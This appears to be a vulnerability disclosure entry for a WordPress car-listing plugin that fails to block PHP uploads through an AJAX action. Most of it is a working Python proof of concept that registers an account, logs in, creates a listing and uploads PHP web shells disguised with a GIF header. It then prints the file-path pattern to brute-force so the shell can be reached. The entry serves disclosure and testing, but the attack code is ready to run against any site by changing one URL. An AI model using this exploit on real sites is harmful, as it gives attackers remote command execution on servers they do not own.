The plugin does not properly validate uploaded files for dangerous file types (such as .php) in an AJAX action, allowing an attacker to sign up on a victim's WordPress instance, upload a malicious PHP file and attempt to launch a brute-force attack to discover the uploaded payload.
This PoC was tested against a local WordPress 6.1 instance with the vulnerable plugin installed in it's default configuration. You should only need to change the BASE_URL, the rest should work as is. import sys import io import random import string import binascii import datetime import requests BASE_URL = "http://127.0.0.1:7777" ADMIN_AJAX_URL = BASE_URL + "/wp-admin/admin-ajax.php" USERNAME = "".join(random.choices(string.ascii_lowercase, k=10)) PASSWORD = "".join(random.choices(string.ascii_lowercase, k=16)) EMAIL = USERNAME + "@example.com" PAYLOAD = b"<?php passthru($_GET['cmd']); ?>" GIF_PREFIX = binascii.unhexlify("4749463839610f000f00f30d0000") with requests.Session() as session: # Register a new user. print(f"[*] Registering new user: {USERNAME}:{PASSWORD} ...") try: response = session.post( ADMIN_AJAX_URL, data={ "action": "stm_custom_register", "stm_nickname": USERNAME, "stm_user_mail": EMAIL, "stm_user_password": PASSWORD, }, ) message = response.json()["message"] if "Congratulations! You have been successfully registered" in message: print("[+] Successfully registered new user.") if "Sorry, that username already exists!" in message: print("[-] Registration failed, user already exists.") exit(1) except Exception as e: print("[-] Registration failed!") exit(1) # Authenticate try: response = session.post( ADMIN_AJAX_URL, data={ "action": "stm_custom_login", "stm_user_login": USERNAME, "stm_user_password": PASSWORD, }, ) if "Successfully logged in" in response.json()["message"]: print("[+] Authenticated.") except Exception as e: print("[-] Login failed") print(e) exit(1) # Create listing try: print("[*] Creating car listing...") response = session.post( ADMIN_AJAX_URL, data={ "action": "stm_ajax_add_a_car", "stm_car_main_title": "".join( random.choices(string.ascii_letters, k=12) ), "stm_car_price": str(random.randint(1000, 99999)), }, ) post_id = response.json()["post_id"] print(f"[+] Car listing created: post_id={post_id}") except Exception as e: print("[-] Failed to add listing.") exit(1) try: print("[*] Uploading payload...", file=sys.stderr) # ext = random.choice(["php", "gif"]) response = session.post( ADMIN_AJAX_URL, data={ "action": "stm_ajax_add_a_car_media", "post_id": post_id, "stm_edit": "update", }, files={ "files[0]": ("payload-1.php", io.BytesIO(GIF_PREFIX + PAYLOAD)), "files[1]": ("payload-2.php", io.BytesIO(GIF_PREFIX + PAYLOAD)), "files[2]": ("payload-3.php", io.BytesIO(GIF_PREFIX + PAYLOAD)), "files[3]": ("payload-4.php", io.BytesIO(GIF_PREFIX + PAYLOAD)), "files[4]": ("payload-5.php", io.BytesIO(GIF_PREFIX + PAYLOAD)), }, ) if "Car updated" in response.json()["message"]: print("[+] Payload uploaded") print(f"[*] You need to bruteforce 5 chars to discover your payload:") print(f"[*] Charset: 23456789ABCDEFHJKLMNPRTVWXYZabcdefghijklmnopqrstuvwxyz") date_dir = datetime.datetime.now().strftime("%Y/%m") print(f"[*] /wp-content/uploads/{date_dir}/post_id_{post_id}_?????.php") except Exception as e: print(response.json()) print("[-] Failed to upload payload.") exit(1)
UPLOAD
cydave
cydave
Yes
2022-11-21 (about 10 months ago)
2022-11-21 (about 10 months ago)
2022-12-08 (about 9 months ago)